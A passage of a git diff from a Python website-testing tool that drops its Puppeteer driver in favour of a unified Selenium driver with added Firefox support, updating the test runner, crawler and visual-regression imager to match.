+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -502,7 +397,7 @@ def run_s(self) -> None:
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -510,7 +405,7 @@ def run_s(self) -> None:
                 try:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -527,14 +422,14 @@ def run_s(self) -> None:
 
                     # assert text
                     assert elementText == step["assertion"]["value"]
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -545,7 +440,7 @@ def run_s(self) -> None:
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
                 )
@@ -553,7 +448,7 @@ def run_s(self) -> None:
                 try:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -564,14 +459,14 @@ def run_s(self) -> None:
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -581,7 +476,7 @@ def run_s(self) -> None:
 
             i += 1  
 
-        self.update_testcase_s(
+        self.update_testcase(
             time_completed=datetime.now()
         )
         quit_driver(driver=self.driver)
@@ -594,306 +489,6 @@ def run_s(self) -> None:
         return None
 
 
-
-
-    async def run_p(self) -> None:
-        """
-        Runs the self.testcase using pupeteer as the driver
-
-        Returns -> None
-        """
-
-        print(f'beginning testcase for {self.site_url}  \
-            using case {self.case_name}')
-        
-        # initate driver
-        self.driver = await driver_p_init()
-        
-        # init page obj 
-        self.page = await self.driver.newPage()
-
-        # setting up page with configs
-        sizes = self.configs['window_size'].split(',')
-        is_mobile = False
-        if self.configs['device'] == 'mobile':
-            is_mobile = True
-        
-        self.page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': int(self.configs['max_wait_time'])*1000
-        }
-
-        print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s')
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if self.configs['device'] == 'mobile':
-            await self.page.emulate(emulate_options)
-        else:
-            await self.page.setViewport(viewport)
-
-
-        i = 0
-        for step in self.steps:
-            print(f'-- running step #{i+1} --')
-
-            # adding catch if nav is not first
-            if i == 0 and step['action']['type'] != 'navigate':
-                print(f'navigating to {self.site_url} before first step')
-                # using puppeteer, navigate to site root path & wait for page to load
-                await self.page.goto(f'{self.site_url}', self.page_options)
-                time.sleep(int(self.configs['min_wait_time']))
-
-            if step['action']['type'] == 'navigate':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
-                    # using puppeteer, navigate to requested path & wait for page to load
-                    await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['action']['type'] == 'scroll':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'scrolling -> {step["action"]["value"]}')
-              
-                    # scrolling using plain JavaScript
-                    await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
-                    time.sleep(int(self.configs['min_wait_time']))
-
-                    # get image
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-               
-            if step['action']['type'] == 'click':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'clicking element -> {step["action"]["element"]}')
-                    # using puppeteer, find and click on the 'element' 
-                    selector = await self.format_element(step["action"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
-                    # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = await self.page.J(selector)
-                    await element.click()
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-
-            if step['action']['type'] == 'change':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-                
-                try:
-                    print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using puppeteer, find and click on the 'element'
-                    if step["action"]["element"] != (None or ''):
-                        selector = await self.format_element(step["action"]["element"])
-                        await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                        # scrolling to element using plain JavaScript 
-                        await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                        element = await self.page.J(selector)
-                        await element.click(clickCount=3)
-                    await self.page.keyboard.type(step["action"]["value"])
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-
-            if step['action']['type'] == 'keyDown':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-                
-                try:
-                    print(f'keyDown action for key -> {step["action"]["key"]}')
-                    # using puppeteer, press the selected key
-                    await self.page.keyboard.press(step['action']['key'])
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['assertion']['type'] == 'match':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
-                    # using puppeteer, find elememt and assert if element.text == assertion.text
-                    selector = await self.format_element(step["assertion"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                    # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                    elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
-                    elementText = elementText.strip()
-                    print(f'elementText => {elementText}')
-                    print(f'value => {step["assertion"]["value"]}')
-                    assert elementText == step["assertion"]["value"]
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['assertion']['type'] == 'exists':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'asserting that element -> {step["assertion"]["element"]} exists')
-                    # using puppeteer, find elememt and assert it exists
-                    selector = await self.format_element(step["assertion"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                    await self.page.J(selector)
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            i += 1    
-        await self.update_testcase(
-            time_completed=datetime.now()
-        )
-        await self.driver.close()
-        print('-- testcase run complete --')
-
-        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
-            print('generating new Issue...')
-            Issuer(testcase=self.testcase).build_issue()
-
-        return None
-
-    
-    
-    
     
     
     
\ No newline at end of file
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index f13c6b8a..2e0a8e45 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,6 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
-from .driver_s import *
+from .driver import *
 
 
 
@@ -93,10 +93,20 @@ def add_urls(start_url):
                     if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
+                        
                         # check status of page
-                        req_status = requests.get(url).status_code
-                        bad_status = [404, 500, 301]
-                        if not (req_status in bad_status):
+                        self.driver.get(url)
+                        # wait for page to load
+                        driver_wait(
+                            driver=self.driver,
+                            max_wait_time=20, 
+                            interval=2
+                        )
+                        
+                        # req_status = requests.get(url).status_code
+                        # bad_status = [404, 500, 301]
+
+                        if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
                             if not (url in follow_urls):
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver.py
similarity index 60%
rename from app/api/utils/driver_s.py
rename to app/api/utils/driver.py
index 25447de8..6cc369bc 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver.py
@@ -8,6 +8,7 @@
 
 
 def driver_init(
+        browser: str='chrome',
         window_size: str='1920,1080', 
         device: str='desktop',
         script_timeout: int=30,
@@ -20,6 +21,7 @@ def driver_init(
     Starts a new selenium driver instance
 
     Expects: {
+        'browser'       : str,
         'window_size'   : str, 
         'device'        : str,
         'script_timeout': int,
@@ -32,51 +34,74 @@ def driver_init(
     Returns -> driver object
     """
 
+    # deciding on browser
+    if browser == 'chrome':
+        options = webdriver.ChromeOptions()
+        options.binary_location = os.environ.get('CHROME_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36" + 
+            " (KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
+        )
+    if browser == 'firefox':
+        options = webdriver.FirefoxOptions()
+        options.binary_location = os.environ.get('FIREFOX_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0"
+        )
+
     # setting up browser configs
     sizes = window_size.split(',')
-    prefs = {
-        'download.prompt_for_download': False,
-        'download.extensions_to_open': '.zip',
-        'safebrowsing.enabled': True
-    }
+    width = int(sizes[0])
+    height = int(sizes[1])
     mobile_emulation = {
         "deviceMetrics": { 
-            "width": int(sizes[0]), 
-            "height": int(sizes[1]), 
+            "width": width, 
+            "height": height,
             "pixelRatio": pixel_ratio 
         },
-        "userAgent": (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
-        ) 
+        "userAgent": mobile_user_agent
     }
 
-    # setting browser options
-    options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROME_BROWSER')
-    options.add_argument("--no-sandbox")
-    options.add_argument("disable-blink-features=AutomationControlled")
-    options.add_experimental_option('prefs',prefs)
-    options.add_argument("start-maximized")
-    options.add_argument("--headless")
-    options.add_argument("--disable-dev-shm-usage")
-    options.add_argument("ignore-certificate-errors")
-    options.add_argument("--hide-scrollbars")
-    options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
-    options.add_argument(f"--window-size={window_size}") 
-    options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
-    options.page_load_strategy = 'none'
-
-    # setting to mobile if reqeusted
-    if device == 'mobile':
-        options.add_experimental_option("mobileEmulation", mobile_emulation)
-
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
-    # service = webdriver.ChromeService(executable_path=chromedriver_path)
-    driver = webdriver.Chrome(options=options)
-    # driver.set_page_load_timeout(load_timeout)
-    # driver.set_script_timeout(script_timeout)
-    # driver.implicitly_wait(wait_time)
+    # setting broswer options for chrome
+    if browser == 'chrome':
+        options.add_argument("--no-sandbox")
+        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("--headless")
+        options.add_argument("--disable-dev-shm-usage")
+        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--hide-scrollbars")
+        options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.page_load_strategy = 'none'
+        
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        
+        # init driver
+        driver = webdriver.Chrome(options=options)
+    
+    # setting broswer options & profile for firefox
+    if browser == 'firefox':
+        options.add_argument("-headless")
+        options.page_load_strategy = 'none'
+        options.set_preference("accept_insecure_certs", True)
+        options.set_preference('layout.css.devPixelsPerPx', str(scale_factor))
+
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.set_preference(
+                "general.useragent.override", f"userAgent={mobile_user_agent}"
+            )
+        
+        # init driver
+        driver = webdriver.Firefox(options=options)
+    
+
+    # resizing window
+    driver.maximize_window()
+    driver.set_window_size(width, height)
+    print(f'Using {browser} browser')
 
     return driver
 
@@ -91,7 +116,7 @@ def driver_test() -> None:
     Returns -> None
     """
     
-    print("Testing selenium instalation and integration...")
+    print("Testing Selenium...")
     message = 'Selenium was unable to start\n\n'
     status = 'Failed'
     
@@ -183,6 +208,7 @@ def interact_with_page(driver):
 
 def get_data(
         driver: object, 
+        browser: str='chrome',
         interval: int=1, 
         max_wait_time: int=30, 
         min_wait_time: int=3
@@ -193,6 +219,7 @@ def get_data(
 
     Expects: {
         'driver'        : object, 
+        'browser'       : str, 
         'interval'      : int,
         'max_wait_time' : int,
         'min_wait_time' : int
@@ -206,17 +233,28 @@ def get_data(
 
     # setting defaults
     html = None
-    logs = None
+    logs = []
 
     # waiting for page to load
-    driver_wait(driver=driver)
+    driver_wait(
+        driver=driver,
+        interval=interval,
+        max_wait_time=max_wait_time,
+        min_wait_time=min_wait_time
+    )
 
-    # get data from browser
+    # get page_source from browser
     try:
         html = driver.page_source
-        logs = driver.get_log('browser')
     except Exception as e:
         print(e)
+    
+    # get console logs if chrome
+    if browser == 'chrome':
+        try:
+            logs = driver.get_log('browser')
+        except Exception as e:
+            print(e)
 
     # formatting respones
     data = {
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
deleted file mode 100644
index e0cd8c0b..00000000
--- a/app/api/utils/driver_p.py
+++ /dev/null
@@ -1,263 +0,0 @@
-from pyppeteer import launch
-from scanerr import settings
-import time, os, sys, datetime
-
-
-
-
-
-
-async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
-    """ 
-    Starts a new puppeteer driver instance
-
-    Expects: {
-        'window_size' : str, 
-        'wait_time'   : int
-    } 
-
-    Returns -> driver object
-    """
-
-    # parsing window sizes
-    sizes = window_size.split(',')
-
-    # setting browser options
-    options = {
-        'executablePath': os.environ.get('CHROME_BROWSER'),
-        'args': [
-            '--no-sandbox', 
-            '--disable-dev-shm-usage',
-            '--force-device-scale-factor=0.5',
-            'ignore-certificate-errors',
-            '--hide-scrollbars',
-            f'--window-size={window_size}',
-        ],
-        'defaultViewport': {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]), 
-        },
-        # 'timeout': wait_time * 1000
-    }
-
-    # launching driver
-    driver = await launch(
-        options=options, 
-        headless=True,
-        handleSIGINT=False,
-        handleSIGTERM=False,
-        handleSIGHUP=False
-    )
-    
-    # return driver
-    return driver
-
-
-
-
-async def interact_with_page(page: object=None) -> object:
-    # simulate mouse movement
-    # and returns the page object
-    await page.mouse.move(0, 0)
-    await page.mouse.move(0, 50)
-    return page
-
-
-
-
-async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
-    """
-    Expects the puppeteer page instance and waits 
-    for either the page to fully load or the max_wait_time
-    to expire before returning.
-
-    Expects: {
-        'page'          : object, 
-        'max_wait_time' : int
-    }
-
-    Returns -> page <pypt:instance>
-    """
-
-    print(f'waiting for page load or {str(max_wait_time)} seconds')
-
-    timeout = 0
-    page_state = 'loading'
-
-    while int(timeout) < int(max_wait_time) and page_state != 'complete':
-        page_state = await page.evaluate('document.readyState')
-        print(f'document state is {page_state}')
-        time.sleep(1)
-        timeout += 1
-
-    return page
-
-
-
-
-async def driver_test() -> None:
-    """ 
-    Spins up a puppeteer driver instance and
-    tests to ensure it can access the browser and internet
-
-    Returns -> None
-    """
-
-    print("Testing puppeteer instalation and integration...")
-    message = 'Puppeteer was unable to start\n\n'
-    status = 'Failed'
-
-    # testing puppeteer
-    try:
-        driver = await driver_init()
-        page = await driver.newPage()
-        await page.goto('https://google.com', {'waitUntil': 'networkidle0'})
-        await interact_with_page(page)
-        title = await page.title()
-        assert title == 'Google'
-        if title == 'Google':
-            status = 'Success'
-            message = 'Puppeteer installed and working \N{check mark} \n'
-
-    # log exception
-    except Exception as e:
-        print(e)
-
-    # logging test results
-    sys.stdout.write(
-        '--- ' + status + ' ---\n'+ message
-    )
-
-    # quiting driver
-    try:
-        await driver.close()
-    except:
-        pass
-    
-    return None
-   
-
-
-
-async def get_data(url: str=None, configs: dict=None) -> dict:
-    """ 
-    Using the puppeteer driver, navigates to the passed 
-    'url' and records the page source and any 
-    present console errors & warnings
-
-    Expects: {
-        url     : str, 
-        configs : dict
-    }
-    
-    Returns -> data: {
-        'html' : str, 
-        'logs' : dict,
-    }
-    """
-
-    # initing the driver
-    sizes = configs['window_size'].split(',')
-    driver = await driver_init(window_size=configs['window_size'])
-    page = await driver.newPage()
-
-    # setting driver configs
-    page_options = {
-        'waitUntil': 'networkidle0', 
-        # 'timeout': configs['max_wait_time']*1000
-    }
-    viewport = {
-        'width': int(sizes[0]),
-        'height': int(sizes[1]),
-    }
-    userAgent = (
-        "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-        (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
-    )
-    await page.setViewport(viewport)
-    if configs['device'] == 'mobile':
-        await page.setUserAgent(userAgent)
-    
-    # defining logs
-    logs = []
-
-    def record_logs(log):
-        # helper method to record console
-        # logs in the issues tab
-        if log.type == 'error':
-            if '.js' in log.text:
-                source = 'javascript'
-            elif 'http' in log.text:
-                source = 'network'
-            else:
-                source = 'other'
-            log_obj = {
-                "level": "SEVERE", 
-                "source": source, 
-                "message": str(log.text),
-                "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-            }
-            logs.append(log_obj)
-        elif log.type == 'warning':
-            if '.js' in log.text:
-                source = 'javascript'
-            elif 'http' in log.text:
-                source = 'network'
-            else:
-                source = 'other'
-            log_obj = {
-                "level": "WARNING",
-                "source": source,
-                "message": str(log.text),
-                "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-            }
-            logs.append(log_obj)
-    
-    def record_network(request):
-        # helper method to record console
-        # network issues in the issues tab
-        log_obj = {
-            "level": "SEVERE", 
-            "source": "network",
-            "message": f'{request.failure()["errorText"]} {request.url}',
-            "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-        }
-        logs.append(log_obj)
-
-    def record_error(error):
-        # helper method to record console
-        # page errors in the issues tab
-        err = str(error).split(' at ')[0]
-        log_obj = {
-            "level": "SEVERE", 
-            "source": "javascript",
-            "message": f'{err}',
-            "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-        }
-        logs.append(log_obj)
-
-    # getting console logs, warnings, and errors
-    page.on('console', lambda log : record_logs(log))
-    page.on('requestfailed', lambda request : record_network(request))
-    page.on('pageerror', lambda error : record_error(error))
-
-    # navigate to requested url
-    await page.goto(url, page_options) 
-
-    # await page.waitForNavigation(navWaitOpt)
-    await wait_for_page(page=page)
-    await interact_with_page(page)
-    html = await page.content()
-    
-    # quitting driver
-    await driver.close()
-    
-    # returning data
-    data = {
-        'html': html, 
-        'logs': logs,
-    }
-
-    return data
-
-
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index d7145f27..af4dfe60 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,4 +1,4 @@
-from .driver_s import driver_init, driver_wait, quit_driver
+from .driver import driver_init, driver_wait, quit_driver
 from PIL import Image as I
 from .alerts import sendgrid_email
 from scanerr import settings
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 0eb81fee..ad5f28f0 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -1,5 +1,4 @@
-from .driver_s import driver_init, driver_wait, quit_driver
-from .driver_p import driver_init as driver_init_p, wait_for_page
+from .driver import driver_init, driver_wait, quit_driver
 from ..models import Site, Scan, Test, Mask
 from skimage.metrics import structural_similarity
 from scanerr import settings
@@ -20,34 +19,24 @@ class Imager():
     a website.
 
     Also known as VRT or Visual Regression Testing.
-    Contains three methods scan_s(), scan_p(), test(). 
-    The _p appendage denotes using Puppeteer as the webdriver
-    and the _s appendage denotes using Selenium as the webdriver:
+    Contains two methods scan() & test():
 
-        def scan_s(driver=None) -> using selenium
+        def scan_vrt(driver=None) -> using selenium
             grabs multiple screenshots of the website 
             and uploads them to s3.
 
-        def scan_p() -> using puppeteer
-            grabs multiple screenshots of the website 
-            and uploads them to s3.
-
-        def test(test=<test:object>) -> compares each 
+        def test_vrt(test=<test:object>) -> compares each 
             screenshot in the two scans and records 
             a score out of 100%
-
     """
 
 
 
 
-    def __init__(self, scan: object=None, configs: dict=None):
+    def __init__(self, scan: object=None):
 
         # main scan object
         self.scan = scan
-
-        # main configs object
-        self.configs = configs
         
         # main image_array for scans
         self.image_array = []
@@ -155,7 +144,7 @@ def save_image(self, pic_id: str, image: object) -> None:
 
 
 
-    def scan_s(self, driver: object=None) -> list:
+    def scan_vrt(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
         them to s3.
@@ -170,7 +159,11 @@ def scan_s(self, driver: object=None) -> list:
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
-            driver = driver_init()
+            driver = driver_init(
+                browser=self.scan.configs.get('browser', 'chrome'),
+                window_size=self.scan.configs.get('window_size', '1920,1080'),
+                device=self.scan.configs.get('device', 'desktop'),
+            )
             driver_present = False
 
         # request page_url 
@@ -179,22 +172,21 @@ def scan_s(self, driver: object=None) -> list:
         # waiting for network requests to resolve
         driver_wait(
             driver=driver, 
-            interval=int(self.configs.get('interval', 5)),  
-            min_wait_time=int(self.configs.get('min_wait_time', 10)),
-            max_wait_time=int(self.configs.get('max_wait_time', 30)),
+            interval=int(self.scan.configs.get('interval', 5)),  
+            min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+            max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
         )
 
         # defining browser demesions
-        sizes = self.configs.get('window_size', '1920,1080').split(',')
+        sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
 
         # getting full_page_height
-        if self.configs.get('auto_height', True):
+        if self.scan.configs.get('auto_height', True):
             full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            sizes = self.configs.get('window_size', '1920,1080').split(',')
             driver.set_window_size(int(sizes[0]), int(full_page_height))
 
 
-        if self.configs.get('disable_animations') == True:
+        if self.scan.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
                 driver.execute_script(self.pause_animations_script)
@@ -208,8 +200,8 @@ def scan_s(self, driver: object=None) -> list:
                 print('cannnot pause videos')
 
         # mask all listed ids        
-        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
-            ids = self.configs.get('mask_ids').split(',')
+        if self.scan.configs.get('mask_ids') is not None and self.scan.configs.get('mask_ids') != '':
+            ids = self.scan.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
                     driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
@@ -233,21 +225,29 @@ def scan_s(self, driver: object=None) -> list:
         last_height = -1
         bottom = False
         start_time = datetime.now()
+        err_mrgn = 0
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(self.configs.get('timeout', 300), start_time):
+            if self.check_timeout(self.scan.configs.get('timeout', 300), start_time):
                 break
 
             # scroll single frame
             if index != 0:
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
+                time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
 
+            # setting err_mrgn if not auto_height
+            if index == 0:
+                if not self.scan.configs.get('auto_height', False):
+                    print(f'{sizes[1]} - {new_height}')
+                    err_mrgn = int(sizes[1]) - int(new_height)
+                    print(f'setting error margin to {err_mrgn}')
+
             print(f'new_height => {new_height} | height_diff => {height_diff}')
 
             if height_diff > 20:
@@ -257,9 +257,9 @@ def scan_s(self, driver: object=None) -> list:
                 # waiting for network requests to resolve
                 driver_wait(
                     driver=driver, 
-                    interval=int(self.configs.get('interval', 5)),  
-                    min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                    max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    interval=int(self.scan.configs.get('interval', 5)),  
+                    min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+                    max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
                 )
 
                 # get screenshot
@@ -267,14 +267,15 @@ def scan_s(self, driver: object=None) -> list:
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
 
                 # resizing image to remove duplicate portions
-                img = I.open(image)
-                width, height = img.size
-                left = 0
-                top = height - (height_diff/2)
-                right = width
-                _bottom = height
-                new_img = img.crop((left, top, right, _bottom))
-                new_img.save(image, quality=100)
+                if index != 0:
+                    img = I.open(image)
+                    width, height = img.size
+                    left = 0
+                    top = height - ((height_diff/2)) # divide by 2 for "driver.scale_factor" 
+                    right = width
+                    botm = height
+                    new_img = img.crop((left, top, right, botm))
+                    new_img.save(image, quality=100)
                             
                 # adding new image to bottom of existing image (if not index = 0)
                 pic_id_2 = uuid.uuid4()
@@ -305,199 +306,7 @@ def scan_s(self, driver: object=None) -> list:
 
 
 
-    async def scan_p(self) -> list:
-        """
-        Using Puppeteer, grabs full length screenshots of the website and uploads 
-        them to s3.
-
-        Returns -> self.image_array list
-        """
-
-        @sync_to_async
-        def get_page():
-            _page = self.scan.page
-            return _page
-        
-        # getting Scanerr `page` object
-        _page = await get_page()
-
-        # starting up puppeteer driver
-        driver = await driver_init_p(
-            window_size=self.configs.get('window_size', '1920,1080'), 
-            wait_time=int(self.configs.get('max_wait_time', 30))
-        )
-
-        # initing new puppeteer page
-        page = await driver.newPage()
-
-        # setting configs for driver
-        sizes = self.configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if self.configs.get('device') == 'mobile':
-            is_mobile = True
-
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
-        }
-
-        # requesting page_url to get height of 
-        await page.goto(_page.page_url, page_options)
-
-        # waiting for page to load
-        await wait_for_page(page=page)
-
-        # getting full page_height
-        page_height = int(sizes[1])
-        if self.configs.get('auto_height', True):
-            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
-
-        # setting more driver configs
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(page_height),
-            'isMobile': is_mobile,
-        }
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
